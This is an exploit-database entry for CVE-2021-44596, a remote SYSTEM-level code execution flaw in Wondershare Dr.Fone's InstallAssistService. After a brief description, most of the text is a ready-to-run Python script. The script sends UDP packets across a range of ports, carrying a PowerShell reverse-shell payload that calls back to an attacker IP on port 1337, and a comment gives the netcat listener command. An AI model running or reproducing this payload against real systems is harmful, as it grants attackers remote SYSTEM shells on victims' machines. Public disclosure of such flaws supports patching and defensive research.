# Exploit Title: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (InstallAssistService)
# Date: 4/27/2022
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44596
# References: https://github.com/netanelc305/WonderShell

Wondershare LTD Dr. Fone as of 2021-12-06 version is affected by Remote code execution. Due to software design flaws an unauthenticated user can communicate over UDP with the "InstallAssistService.exe" service(the service is running under SYSTEM privileges) and manipulate it to execute malicious executable without any validation from a remote location and gain SYSTEM privileges
#!/usr/bin/python3
# stty raw -echo; (stty size; cat) | nc -lvnp 1337

import socket

payload = """WindowsPowerShell\\v1.0\powershell.exe
-nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.14.129',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Admin
12345"""

byte_message = bytes(payload, "utf-8")

for i in range(1024,65500):
    opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    opened_socket.sendto(byte_message, ("192.168.14.137", i))
    print(f"Trying port {i}",end="\r")